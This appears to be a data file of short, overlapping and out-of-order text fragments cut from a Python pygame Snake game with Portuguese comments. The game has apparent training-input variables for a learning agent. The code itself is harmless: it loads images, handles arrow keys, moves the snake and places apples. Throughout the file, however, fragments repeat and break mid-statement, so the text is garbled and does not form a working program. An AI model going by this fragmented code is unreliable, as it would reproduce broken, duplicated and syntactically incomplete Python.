"121 ,151] listaYCorpo = [271, 271, 271] # Configuracao inicial do corpo cabecaFunc(cabecaX,",
"quase 4 vezes maior que o # tabuleiro em si para a cebeca",
"#for i in range(39): # matriz_do_tabuleiro[(-1)//30][(-1)//30] = # Jogo comeca indo para a",
"seta for apertada if event.type == pygame.KEYDOWN: rodada += 1 if not fim_de_jogo",
"271] # Configuracao inicial do corpo cabecaFunc(cabecaX, cabecaY) corpoFunc(91, 271) corpoFunc(121, 271) corpoFunc(151,",
"posicoes do corpo # (Ja com a configuracao inicial) listaXCorpo = [91, 121",
"listaEntrada = [0]*3 # Nota: a matriz sera quase 4 vezes maior que",
"-30 cabecaYChange = 0 if (event.key == pygame.K_RIGHT) and (cabecaXChange == 0): imagemCabeca",
"macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) # Guarda o valor para ela crescer crescer",
"if not fim_de_jogo and rodada > 1: # Nota: nao muda de direcao",
"logo onde a cabeca sai e # grava na lista listaXCorpo.append(cabecaX) listaYCorpo.append(cabecaY) matriz_do_tabuleiro[(cabecaY-1)//30][(cabecaX-1)//30]",
"Coloca a cabeca no espaco seguinte cabecaFunc(cabecaX, cabecaY) # Atualiza a tela e",
"range(len(listaXCorpo)): if(cabecaX == listaXCorpo[i]): if (cabecaY == listaYCorpo[i]): # Plot do placar placarFunc(210,270)",
"= 181 cabecaY = 271 #for i in range(39): # matriz_do_tabuleiro[(-1)//30][(-1)//30] = #",
"se a cobra deve crescer ou nao crescer = False pygame.time.wait(1000) # Game",
"# Garante que a maca nao apareca em cima da cobra while((macaX in",
"o corpo logo onde a cabeca sai e # grava na lista listaXCorpo.append(cabecaX)",
"cebeca ser centralizada # e poder enxergar o tabuleiro inteiro sempre tamanho_tabuleiro_maior =",
"ser centralizada # e poder enxergar o tabuleiro inteiro sempre tamanho_tabuleiro_maior = 20",
"Listas para manter armazenadas as posicoes do corpo # (Ja com a configuracao",
"= (randint(0,19)*30)+1 macaFunc(macaX, macaY) matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Var para verificar se a",
"corpo logo onde a cabeca sai e # grava na lista listaXCorpo.append(cabecaX) listaYCorpo.append(cabecaY)",
"Loop de treino for c in range (2): # Inicializa o pygame pygame.init()",
"cabecaY = 271 #for i in range(39): # matriz_do_tabuleiro[(-1)//30][(-1)//30] = # Jogo comeca",
"pygame.image.load(\"images/snake icon.png\") fim_de_jogo = False rodada = 0 # Define fonte pontos =",
"Coloca o corpo logo onde a cabeca sai e # grava na lista",
"= False # Coloca a cabeca no espaco seguinte cabecaFunc(cabecaX, cabecaY) # Atualiza",
"(x,y)) # Funcao para inserir quadrado verde do fundo def quadradoFundoFunc(x, y): screen.blit(imagemQuadradoFundo,",
"181 cabecaY = 271 #for i in range(39): # matriz_do_tabuleiro[(-1)//30][(-1)//30] = # Jogo",
"and (macaY in listaYCorpo)): macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30]",
"def macaFunc(x, y): screen.blit(imagemMaca, (x,y)) # Funcao para placar def placarFunc(x,y): placar =",
"e define tamanho screen = pygame.display.set_mode((600,600)) # Titulo e icone pygame.display.set_caption(\"Jogo da Cobrenha",
"para manter armazenadas as posicoes do corpo # (Ja com a configuracao inicial)",
"[0,0,0,0] # Lista de entrada [n da rodada ,pontos obtidos # matriz do",
"# Funcao para inserir a maca def macaFunc(x, y): screen.blit(imagemMaca, (x,y)) # Funcao",
"nela mesma for i in range(len(listaXCorpo)): if(cabecaX == listaXCorpo[i]): if (cabecaY == listaYCorpo[i]):",
"y): screen.blit(imagemQuadradoFundo, (x,y)) # Funcao para inserir a maca def macaFunc(x, y): screen.blit(imagemMaca,",
"str(pontos), True, (255, 255, 255)) screen.blit(placar, (x,y)) # Loop de treino for c",
"def placarFunc(x,y): placar = font.render(\"Pontos: \" + str(pontos), True, (255, 255, 255)) screen.blit(placar,",
"600) or (cabecaY < 0): # Plot do placar placarFunc(210,270) cabecaXChange = 0",
"# Load das imagens imagemCorpo = pygame.image.load(\"images/corpo.png\") imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") imagemQuadradoFundo = pygame.image.load(\"images/quadrado_do_fundo.png\")",
"= 0 if (event.key == pygame.K_RIGHT) and (cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\")",
"na borda if (cabecaX < 0) or (cabecaX > 600) or (cabecaY >",
"macaY) matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Var para verificar se a cobra deve crescer",
"cabeca cabecaX = 181 cabecaY = 271 #for i in range(39): # matriz_do_tabuleiro[(-1)//30][(-1)//30]",
"-1 matriz_do_tabuleiro[(271-1)//30][(151-1)//30] = -1 # Cria a primeira maca e garante que nao",
"(randint(0,19)*30)+1 macaFunc(macaX, macaY) # Guarda o valor para ela crescer crescer = True",
"para a cebeca ser centralizada # e poder enxergar o tabuleiro inteiro sempre",
"onde a cabeca sai e # grava na lista listaXCorpo.append(cabecaX) listaYCorpo.append(cabecaY) matriz_do_tabuleiro[(cabecaY-1)//30][(cabecaX-1)//30] =",
"pygame.image.load(\"images/quadrado_do_fundo.png\") imagemMaca = pygame.image.load(\"images/maca1.png\") # Configuracao inicial da cabeca cabecaX = 181 cabecaY",
"rodada listaEntrada[1] = pontos #listaEntrada[2] = matriz_do_tabuleiro #listaEntrada[2] = (macaX-1)/30 #listaEntrada[3] = (macaY-1)/30",
"e maca) listaEntrada = [0]*3 # Nota: a matriz sera quase 4 vezes",
"= (randint(0,19)*30)+1 matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Garante que a maca nao apareca em",
"1 macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Garante que",
"si para a cebeca ser centralizada # e poder enxergar o tabuleiro inteiro",
"(randint(0,19)*30)+1 while((macaX in listaXCorpo) and (macaY in listaYCorpo)): macaY = (randint(0,19)*30)+1 macaX =",
"0 cabecaYChange = 30 if (event.key == pygame.K_UP) and (cabecaYChange == 0): imagemCabeca",
"que a maca nao apareca em cima da cobra while((macaX in listaXCorpo) and",
"icone = pygame.image.load(\"images/snake icon.png\") fim_de_jogo = False rodada = 0 # Define fonte",
"das imagens imagemCorpo = pygame.image.load(\"images/corpo.png\") imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") imagemQuadradoFundo = pygame.image.load(\"images/quadrado_do_fundo.png\") imagemMaca =",
"faz a cobra crescer 1 espaco if not crescer: matriz_do_tabuleiro[(listaYCorpo[0]-1)//30][(listaXCorpo[0]-1)//30] = 0 quadradoFundoFunc(listaXCorpo.pop(0),",
"== 0): imagemCabeca = pygame.image.load(\"images/cabeça_cima.png\") cabecaXChange = 0 cabecaYChange = -30 if rodada>0:",
"(cabecaY == listaYCorpo[i]): # Plot do placar placarFunc(210,270) cabecaXChange = 0 cabecaYChange =",
"False pygame.time.wait(1000) # Game Loop running = True while running: # Setando a",
"[0]*tamanho_tabuleiro_maior for i in range(20): matriz_do_tabuleiro[i] = [0]*39 listaEntrada[2] = matriz_do_tabuleiro # Funcoes",
"# Loop de treino for c in range (2): # Inicializa o pygame",
"(event.key == pygame.K_UP) and (cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_cima.png\") cabecaXChange = 0",
"cabeca sai e # grava na lista listaXCorpo.append(cabecaX) listaYCorpo.append(cabecaY) matriz_do_tabuleiro[(cabecaY-1)//30][(cabecaX-1)//30] = -1 corpoFunc(cabecaX,",
"cria outra # Atuliza a posicao da da maca na matriz if (cabecaX",
"# Listas para manter armazenadas as posicoes do corpo # (Ja com a",
"matriz_do_tabuleiro[(listaYCorpo[0]-1)//30][(listaXCorpo[0]-1)//30] = 0 quadradoFundoFunc(listaXCorpo.pop(0), listaYCorpo.pop(0)) crescer = False # Coloca a cabeca no",
"c in range (2): # Inicializa o pygame pygame.init() # Cria tela e",
"# Coloca o corpo logo onde a cabeca sai e # grava na",
"a matriz sera quase 4 vezes maior que o # tabuleiro em si",
"placarFunc(210,270) cabecaXChange = 0 cabecaYChange = 0 fim_de_jogo = True # Condicao de",
"maca e garante que nao esta na cobra macaY = (randint(0,19)*30)+1 macaX =",
"< 0) or (cabecaX > 600) or (cabecaY > 600) or (cabecaY <",
"#listaEntrada[2] = matriz_do_tabuleiro #listaEntrada[2] = (macaX-1)/30 #listaEntrada[3] = (macaY-1)/30 #listaEntrada[4] = (cabecaX-1)/30 #listaEntrada[5]",
"= [0]*39 listaEntrada[2] = matriz_do_tabuleiro # Funcoes para inserir a cabeca e o",
"True # Cobre a ponta da cauda com quadrado verde # Caso crescer",
"pygame.init() # Cria tela e define tamanho screen = pygame.display.set_mode((600,600)) # Titulo e",
"icon.png\") fim_de_jogo = False rodada = 0 # Define fonte pontos = 0",
"cabecaXChange = 0 cabecaYChange = 0 fim_de_jogo = True # Cobre a ponta",
"Define fonte pontos = 0 font = pygame.font.Font('freesansbold.ttf', 32) # Cria e atualiza",
"comeca indo para a direita cabecaXChange = 30 cabecaYChange = 0 # Listas",
"= True # Condicao de cobra bater nela mesma for i in range(len(listaXCorpo)):",
"(randint(0,19)*30)+1 matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Garante que a maca nao apareca em cima",
"Se alguma seta for apertada if event.type == pygame.KEYDOWN: rodada += 1 if",
"font = pygame.font.Font('freesansbold.ttf', 32) # Cria e atualiza fundo background = pygame.image.load(\"images/fundo_quadriculado_verde.png\") screen.blit(background,(0,0))",
"== pygame.KEYDOWN: rodada += 1 if not fim_de_jogo and rodada > 1: #",
"para a desejada if (event.key == pygame.K_LEFT) and (cabecaXChange == 0): imagemCabeca =",
"and rodada > 1: # Nota: nao muda de direcao caso ja esteja",
"cabecaXChange = 30 cabecaYChange = 0 # Listas para manter armazenadas as posicoes",
"Lista de saida [Esquerda, Cima, Direita, Baixo] listaOutput = [0,0,0,0] # Lista de",
"enxergar o tabuleiro inteiro sempre tamanho_tabuleiro_maior = 20 + 19 matriz_do_tabuleiro = [0]*tamanho_tabuleiro_maior",
"# Cria e atualiza fundo background = pygame.image.load(\"images/fundo_quadriculado_verde.png\") screen.blit(background,(0,0)) # Load das imagens",
"a direita cabecaXChange = 30 cabecaYChange = 0 # Listas para manter armazenadas",
"a posicao da da maca na matriz if (cabecaX == macaX and cabecaY",
"e # grava na lista listaXCorpo.append(cabecaX) listaYCorpo.append(cabecaY) matriz_do_tabuleiro[(cabecaY-1)//30][(cabecaX-1)//30] = -1 corpoFunc(cabecaX, cabecaY) cabecaX",
"sera quase 4 vezes maior que o # tabuleiro em si para a",
"if not crescer: matriz_do_tabuleiro[(listaYCorpo[0]-1)//30][(listaXCorpo[0]-1)//30] = 0 quadradoFundoFunc(listaXCorpo.pop(0), listaYCorpo.pop(0)) crescer = False # Coloca",
"= [271, 271, 271] # Configuracao inicial do corpo cabecaFunc(cabecaX, cabecaY) corpoFunc(91, 271)",
"corpoFunc(x, y): screen.blit(imagemCorpo, (x,y)) def cabecaFunc(x, y): screen.blit(imagemCabeca, (x,y)) # Funcao para inserir",
"(cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_esquerda.png\") cabecaXChange = -30 cabecaYChange = 0 if",
"for pega, add 1 ponto e cria outra # Atuliza a posicao da",
"1 # Garante que a maca nao apareca em cima da cobra while((macaX",
"# (Ja com a configuracao inicial) listaXCorpo = [91, 121 ,151] listaYCorpo =",
"a maca nao apareca em cima da cobra while((macaX in listaXCorpo) and (macaY",
"= 30 cabecaYChange = 0 # Listas para manter armazenadas as posicoes do",
"= pygame.image.load(\"images/cabeça_cima.png\") cabecaXChange = 0 cabecaYChange = -30 if rodada>0: # Se a",
"ponta da cauda com quadrado verde # Caso crescer == True faz a",
"pygame.image.load(\"images/cabeça_cima.png\") cabecaXChange = 0 cabecaYChange = -30 if rodada>0: # Se a maca",
"= (randint(0,19)*30)+1 while((macaX in listaXCorpo) and (macaY in listaYCorpo)): macaY = (randint(0,19)*30)+1 macaX",
"for event in pygame.event.get(): if event.type == pygame.QUIT: running = False # Se",
"# Setando a Lista de entrada listaEntrada[0] = rodada listaEntrada[1] = pontos #listaEntrada[2]",
"inserir quadrado verde do fundo def quadradoFundoFunc(x, y): screen.blit(imagemQuadradoFundo, (x,y)) # Funcao para",
"screen.blit(background,(0,0)) # Load das imagens imagemCorpo = pygame.image.load(\"images/corpo.png\") imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") imagemQuadradoFundo =",
"== pygame.K_DOWN) and (cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_baixo.png\") cabecaXChange = 0 cabecaYChange",
"cabecaXChange = 0 cabecaYChange = 0 fim_de_jogo = True # Condicao de cobra",
"= 20 + 19 matriz_do_tabuleiro = [0]*tamanho_tabuleiro_maior for i in range(20): matriz_do_tabuleiro[i] =",
"do fundo def quadradoFundoFunc(x, y): screen.blit(imagemQuadradoFundo, (x,y)) # Funcao para inserir a maca",
"macaX = (randint(0,19)*30)+1 matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Garante que a maca nao apareca",
"cabecaY += cabecaYChange # Condicao de cobra bater na borda if (cabecaX <",
"# Cria tela e define tamanho screen = pygame.display.set_mode((600,600)) # Titulo e icone",
"e o corpo def corpoFunc(x, y): screen.blit(imagemCorpo, (x,y)) def cabecaFunc(x, y): screen.blit(imagemCabeca, (x,y))",
"deve crescer ou nao crescer = False pygame.time.wait(1000) # Game Loop running =",
"False # Coloca a cabeca no espaco seguinte cabecaFunc(cabecaX, cabecaY) # Atualiza a",
"# Configuracao inicial do corpo cabecaFunc(cabecaX, cabecaY) corpoFunc(91, 271) corpoFunc(121, 271) corpoFunc(151, 271)",
"= -1 corpoFunc(cabecaX, cabecaY) cabecaX += cabecaXChange cabecaY += cabecaYChange # Condicao de",
"direcao caso ja esteja indo para a desejada if (event.key == pygame.K_LEFT) and",
"= 0 cabecaYChange = -30 if rodada>0: # Se a maca for pega,",
"pygame.display.set_caption(\"Jogo da Cobrenha de ThurMP\") icone = pygame.image.load(\"images/snake icon.png\") fim_de_jogo = False rodada",
"> 600) or (cabecaY > 600) or (cabecaY < 0): # Plot do",
"= 0 font = pygame.font.Font('freesansbold.ttf', 32) # Cria e atualiza fundo background =",
"corpo cabecaFunc(cabecaX, cabecaY) corpoFunc(91, 271) corpoFunc(121, 271) corpoFunc(151, 271) matriz_do_tabuleiro[(271-1)//30][(91-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(121-1)//30]",
"pontos += 1 macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 #",
"== pygame.K_LEFT) and (cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_esquerda.png\") cabecaXChange = -30 cabecaYChange",
"# Guarda o valor para ela crescer crescer = True # Coloca o",
"or (cabecaY < 0): # Plot do placar placarFunc(210,270) cabecaXChange = 0 cabecaYChange",
"in range (2): # Inicializa o pygame pygame.init() # Cria tela e define",
"cabecaYChange # Condicao de cobra bater na borda if (cabecaX < 0) or",
"Condicao de cobra bater nela mesma for i in range(len(listaXCorpo)): if(cabecaX == listaXCorpo[i]):",
"event.type == pygame.KEYDOWN: rodada += 1 if not fim_de_jogo and rodada > 1:",
"armazenadas as posicoes do corpo # (Ja com a configuracao inicial) listaXCorpo =",
"pygame.time.wait(1000) # Game Loop running = True while running: # Setando a Lista",
"+= 1 if not fim_de_jogo and rodada > 1: # Nota: nao muda",
"pontos #listaEntrada[2] = matriz_do_tabuleiro #listaEntrada[2] = (macaX-1)/30 #listaEntrada[3] = (macaY-1)/30 #listaEntrada[4] = (cabecaX-1)/30",
"matriz if (cabecaX == macaX and cabecaY == macaY): matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 0 pontos",
"False # Se alguma seta for apertada if event.type == pygame.KEYDOWN: rodada +=",
"ou nao crescer = False pygame.time.wait(1000) # Game Loop running = True while",
"[0]*3 # Nota: a matriz sera quase 4 vezes maior que o #",
"pygame.image.load(\"images/fundo_quadriculado_verde.png\") screen.blit(background,(0,0)) # Load das imagens imagemCorpo = pygame.image.load(\"images/corpo.png\") imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") imagemQuadradoFundo",
"while((macaX in listaXCorpo) and (macaY in listaYCorpo)): macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1",
"poder enxergar o tabuleiro inteiro sempre tamanho_tabuleiro_maior = 20 + 19 matriz_do_tabuleiro =",
"271) corpoFunc(121, 271) corpoFunc(151, 271) matriz_do_tabuleiro[(271-1)//30][(91-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(121-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(151-1)//30] =",
"(randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 while((macaX in listaXCorpo) and (macaY in listaYCorpo)): macaY =",
"Caso crescer == True faz a cobra crescer 1 espaco if not crescer:",
"caso ja esteja indo para a desejada if (event.key == pygame.K_LEFT) and (cabecaXChange",
"cabecaX += cabecaXChange cabecaY += cabecaYChange # Condicao de cobra bater na borda",
"que nao esta na cobra macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 while((macaX in",
"Cima, Direita, Baixo] listaOutput = [0,0,0,0] # Lista de entrada [n da rodada",
"imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") imagemQuadradoFundo = pygame.image.load(\"images/quadrado_do_fundo.png\") imagemMaca = pygame.image.load(\"images/maca1.png\") # Configuracao inicial da",
"range (2): # Inicializa o pygame pygame.init() # Cria tela e define tamanho",
"(cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_baixo.png\") cabecaXChange = 0 cabecaYChange = 30 if",
"= 0 pontos += 1 macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] =",
"in range(len(listaXCorpo)): if(cabecaX == listaXCorpo[i]): if (cabecaY == listaYCorpo[i]): # Plot do placar",
"= pontos #listaEntrada[2] = matriz_do_tabuleiro #listaEntrada[2] = (macaX-1)/30 #listaEntrada[3] = (macaY-1)/30 #listaEntrada[4] =",
"crescer == True faz a cobra crescer 1 espaco if not crescer: matriz_do_tabuleiro[(listaYCorpo[0]-1)//30][(listaXCorpo[0]-1)//30]",
"matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Garante que a maca nao apareca em cima da",
"for i in range(20): matriz_do_tabuleiro[i] = [0]*39 listaEntrada[2] = matriz_do_tabuleiro # Funcoes para",
"valor para ela crescer crescer = True # Coloca o corpo logo onde",
"from random import randint # Var de trainamento # Lista de saida [Esquerda,",
"muda de direcao caso ja esteja indo para a desejada if (event.key ==",
"32) # Cria e atualiza fundo background = pygame.image.load(\"images/fundo_quadriculado_verde.png\") screen.blit(background,(0,0)) # Load das",
"+= cabecaYChange # Condicao de cobra bater na borda if (cabecaX < 0)",
"# Funcao para placar def placarFunc(x,y): placar = font.render(\"Pontos: \" + str(pontos), True,",
"= False pygame.time.wait(1000) # Game Loop running = True while running: # Setando",
"= 1 # Garante que a maca nao apareca em cima da cobra",
"0 font = pygame.font.Font('freesansbold.ttf', 32) # Cria e atualiza fundo background = pygame.image.load(\"images/fundo_quadriculado_verde.png\")",
"cobra macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 while((macaX in listaXCorpo) and (macaY in",
"if (event.key == pygame.K_LEFT) and (cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_esquerda.png\") cabecaXChange =",
"(randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Var para verificar",
"= [0]*tamanho_tabuleiro_maior for i in range(20): matriz_do_tabuleiro[i] = [0]*39 listaEntrada[2] = matriz_do_tabuleiro #",
"and (cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_esquerda.png\") cabecaXChange = -30 cabecaYChange = 0",
"and (cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_baixo.png\") cabecaXChange = 0 cabecaYChange = 30",
"fim_de_jogo = False rodada = 0 # Define fonte pontos = 0 font",
"maca nao apareca em cima da cobra while((macaX in listaXCorpo) and (macaY in",
"cabecaYChange = 0 # Listas para manter armazenadas as posicoes do corpo #",
"esteja indo para a desejada if (event.key == pygame.K_LEFT) and (cabecaXChange == 0):",
"0): imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") cabecaXChange = 30 cabecaYChange = 0 if (event.key ==",
"matriz_do_tabuleiro #listaEntrada[2] = (macaX-1)/30 #listaEntrada[3] = (macaY-1)/30 #listaEntrada[4] = (cabecaX-1)/30 #listaEntrada[5] = (cabecaY-1)/30",
"import pygame from random import randint # Var de trainamento # Lista de",
"inicial) listaXCorpo = [91, 121 ,151] listaYCorpo = [271, 271, 271] # Configuracao",
"quadradoFundoFunc(x, y): screen.blit(imagemQuadradoFundo, (x,y)) # Funcao para inserir a maca def macaFunc(x, y):",
"# Game Loop running = True while running: # Setando a Lista de",
"(tabuleiro incluindo # paredes, corpo da cobra e maca) listaEntrada = [0]*3 #",
"and (cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_cima.png\") cabecaXChange = 0 cabecaYChange = -30",
"= True while running: # Setando a Lista de entrada listaEntrada[0] = rodada",
"imagemCabeca = pygame.image.load(\"images/cabeça_cima.png\") cabecaXChange = 0 cabecaYChange = -30 if rodada>0: # Se",
"placarFunc(x,y): placar = font.render(\"Pontos: \" + str(pontos), True, (255, 255, 255)) screen.blit(placar, (x,y))",
"a Lista de entrada listaEntrada[0] = rodada listaEntrada[1] = pontos #listaEntrada[2] = matriz_do_tabuleiro",
"for apertada if event.type == pygame.KEYDOWN: rodada += 1 if not fim_de_jogo and",
"cabecaXChange = -30 cabecaYChange = 0 if (event.key == pygame.K_RIGHT) and (cabecaXChange ==",
"cobra e maca) listaEntrada = [0]*3 # Nota: a matriz sera quase 4",
"espaco if not crescer: matriz_do_tabuleiro[(listaYCorpo[0]-1)//30][(listaXCorpo[0]-1)//30] = 0 quadradoFundoFunc(listaXCorpo.pop(0), listaYCorpo.pop(0)) crescer = False #",
"Configuracao inicial do corpo cabecaFunc(cabecaX, cabecaY) corpoFunc(91, 271) corpoFunc(121, 271) corpoFunc(151, 271) matriz_do_tabuleiro[(271-1)//30][(91-1)//30]",
"# Define fonte pontos = 0 font = pygame.font.Font('freesansbold.ttf', 32) # Cria e",
"matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Var para verificar se a cobra deve crescer ou",
"= matriz_do_tabuleiro #listaEntrada[2] = (macaX-1)/30 #listaEntrada[3] = (macaY-1)/30 #listaEntrada[4] = (cabecaX-1)/30 #listaEntrada[5] =",
"# Get dos eventos for event in pygame.event.get(): if event.type == pygame.QUIT: running",
"listaEntrada[1] = pontos #listaEntrada[2] = matriz_do_tabuleiro #listaEntrada[2] = (macaX-1)/30 #listaEntrada[3] = (macaY-1)/30 #listaEntrada[4]",
"corpo # (Ja com a configuracao inicial) listaXCorpo = [91, 121 ,151] listaYCorpo",
"quadradoFundoFunc(listaXCorpo.pop(0), listaYCorpo.pop(0)) crescer = False # Coloca a cabeca no espaco seguinte cabecaFunc(cabecaX,",
"verde do fundo def quadradoFundoFunc(x, y): screen.blit(imagemQuadradoFundo, (x,y)) # Funcao para inserir a",
"= 0 # Define fonte pontos = 0 font = pygame.font.Font('freesansbold.ttf', 32) #",
"= 0 cabecaYChange = 0 fim_de_jogo = True # Condicao de cobra bater",
"matriz_do_tabuleiro[(271-1)//30][(91-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(121-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(151-1)//30] = -1 # Cria a primeira",
"271 #for i in range(39): # matriz_do_tabuleiro[(-1)//30][(-1)//30] = # Jogo comeca indo para",
"(cabecaX > 600) or (cabecaY > 600) or (cabecaY < 0): # Plot",
"(Ja com a configuracao inicial) listaXCorpo = [91, 121 ,151] listaYCorpo = [271,",
"4 vezes maior que o # tabuleiro em si para a cebeca ser",
"= 0 fim_de_jogo = True # Condicao de cobra bater nela mesma for",
"de direcao caso ja esteja indo para a desejada if (event.key == pygame.K_LEFT)",
"if (cabecaX < 0) or (cabecaX > 600) or (cabecaY > 600) or",
"= -1 matriz_do_tabuleiro[(271-1)//30][(151-1)//30] = -1 # Cria a primeira maca e garante que",
"30 cabecaYChange = 0 if (event.key == pygame.K_DOWN) and (cabecaYChange == 0): imagemCabeca",
"Cobrenha de ThurMP\") icone = pygame.image.load(\"images/snake icon.png\") fim_de_jogo = False rodada = 0",
"= 271 #for i in range(39): # matriz_do_tabuleiro[(-1)//30][(-1)//30] = # Jogo comeca indo",
"da rodada ,pontos obtidos # matriz do tabuleiro] (tabuleiro incluindo # paredes, corpo",
"tamanho_tabuleiro_maior = 20 + 19 matriz_do_tabuleiro = [0]*tamanho_tabuleiro_maior for i in range(20): matriz_do_tabuleiro[i]",
"espaco seguinte cabecaFunc(cabecaX, cabecaY) # Atualiza a tela e gera delay pygame.display.update() pygame.time.wait(150)",
"define tamanho screen = pygame.display.set_mode((600,600)) # Titulo e icone pygame.display.set_caption(\"Jogo da Cobrenha de",
"0): imagemCabeca = pygame.image.load(\"images/cabeça_cima.png\") cabecaXChange = 0 cabecaYChange = -30 if rodada>0: #",
"= 0 quadradoFundoFunc(listaXCorpo.pop(0), listaYCorpo.pop(0)) crescer = False # Coloca a cabeca no espaco",
"e cria outra # Atuliza a posicao da da maca na matriz if",
"a configuracao inicial) listaXCorpo = [91, 121 ,151] listaYCorpo = [271, 271, 271]",
"as posicoes do corpo # (Ja com a configuracao inicial) listaXCorpo = [91,",
"matriz_do_tabuleiro[(271-1)//30][(151-1)//30] = -1 # Cria a primeira maca e garante que nao esta",
"== 0): imagemCabeca = pygame.image.load(\"images/cabeça_esquerda.png\") cabecaXChange = -30 cabecaYChange = 0 if (event.key",
"Funcao para inserir a maca def macaFunc(x, y): screen.blit(imagemMaca, (x,y)) # Funcao para",
"== pygame.K_RIGHT) and (cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") cabecaXChange = 30 cabecaYChange",
"listaOutput = [0,0,0,0] # Lista de entrada [n da rodada ,pontos obtidos #",
"placarFunc(210,270) cabecaXChange = 0 cabecaYChange = 0 fim_de_jogo = True # Cobre a",
"configuracao inicial) listaXCorpo = [91, 121 ,151] listaYCorpo = [271, 271, 271] #",
"Lista de entrada listaEntrada[0] = rodada listaEntrada[1] = pontos #listaEntrada[2] = matriz_do_tabuleiro #listaEntrada[2]",
"cabecaXChange = 0 cabecaYChange = -30 if rodada>0: # Se a maca for",
"matriz_do_tabuleiro # Funcoes para inserir a cabeca e o corpo def corpoFunc(x, y):",
"centralizada # e poder enxergar o tabuleiro inteiro sempre tamanho_tabuleiro_maior = 20 +",
"in listaYCorpo)): macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) # Guarda o",
"= [0,0,0,0] # Lista de entrada [n da rodada ,pontos obtidos # matriz",
"desejada if (event.key == pygame.K_LEFT) and (cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_esquerda.png\") cabecaXChange",
"= rodada listaEntrada[1] = pontos #listaEntrada[2] = matriz_do_tabuleiro #listaEntrada[2] = (macaX-1)/30 #listaEntrada[3] =",
"de trainamento # Lista de saida [Esquerda, Cima, Direita, Baixo] listaOutput = [0,0,0,0]",
"cabecaYChange = 0 fim_de_jogo = True # Cobre a ponta da cauda com",
"a cabeca no espaco seguinte cabecaFunc(cabecaX, cabecaY) # Atualiza a tela e gera",
"para inserir quadrado verde do fundo def quadradoFundoFunc(x, y): screen.blit(imagemQuadradoFundo, (x,y)) # Funcao",
"pygame.font.Font('freesansbold.ttf', 32) # Cria e atualiza fundo background = pygame.image.load(\"images/fundo_quadriculado_verde.png\") screen.blit(background,(0,0)) # Load",
"listaXCorpo[i]): if (cabecaY == listaYCorpo[i]): # Plot do placar placarFunc(210,270) cabecaXChange = 0",
"outra # Atuliza a posicao da da maca na matriz if (cabecaX ==",
"em cima da cobra while((macaX in listaXCorpo) and (macaY in listaYCorpo)): macaY =",
"pega, add 1 ponto e cria outra # Atuliza a posicao da da",
"# Condicao de cobra bater na borda if (cabecaX < 0) or (cabecaX",
"== listaYCorpo[i]): # Plot do placar placarFunc(210,270) cabecaXChange = 0 cabecaYChange = 0",
"imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") cabecaXChange = 30 cabecaYChange = 0 if (event.key == pygame.K_DOWN)",
"event.type == pygame.QUIT: running = False # Se alguma seta for apertada if",
"y): screen.blit(imagemMaca, (x,y)) # Funcao para placar def placarFunc(x,y): placar = font.render(\"Pontos: \"",
"= 0 if (event.key == pygame.K_DOWN) and (cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_baixo.png\")",
"sai e # grava na lista listaXCorpo.append(cabecaX) listaYCorpo.append(cabecaY) matriz_do_tabuleiro[(cabecaY-1)//30][(cabecaX-1)//30] = -1 corpoFunc(cabecaX, cabecaY)",
"(cabecaX-1)/30 #listaEntrada[5] = (cabecaY-1)/30 # Get dos eventos for event in pygame.event.get(): if",
"+= cabecaXChange cabecaY += cabecaYChange # Condicao de cobra bater na borda if",
"# Funcoes para inserir a cabeca e o corpo def corpoFunc(x, y): screen.blit(imagemCorpo,",
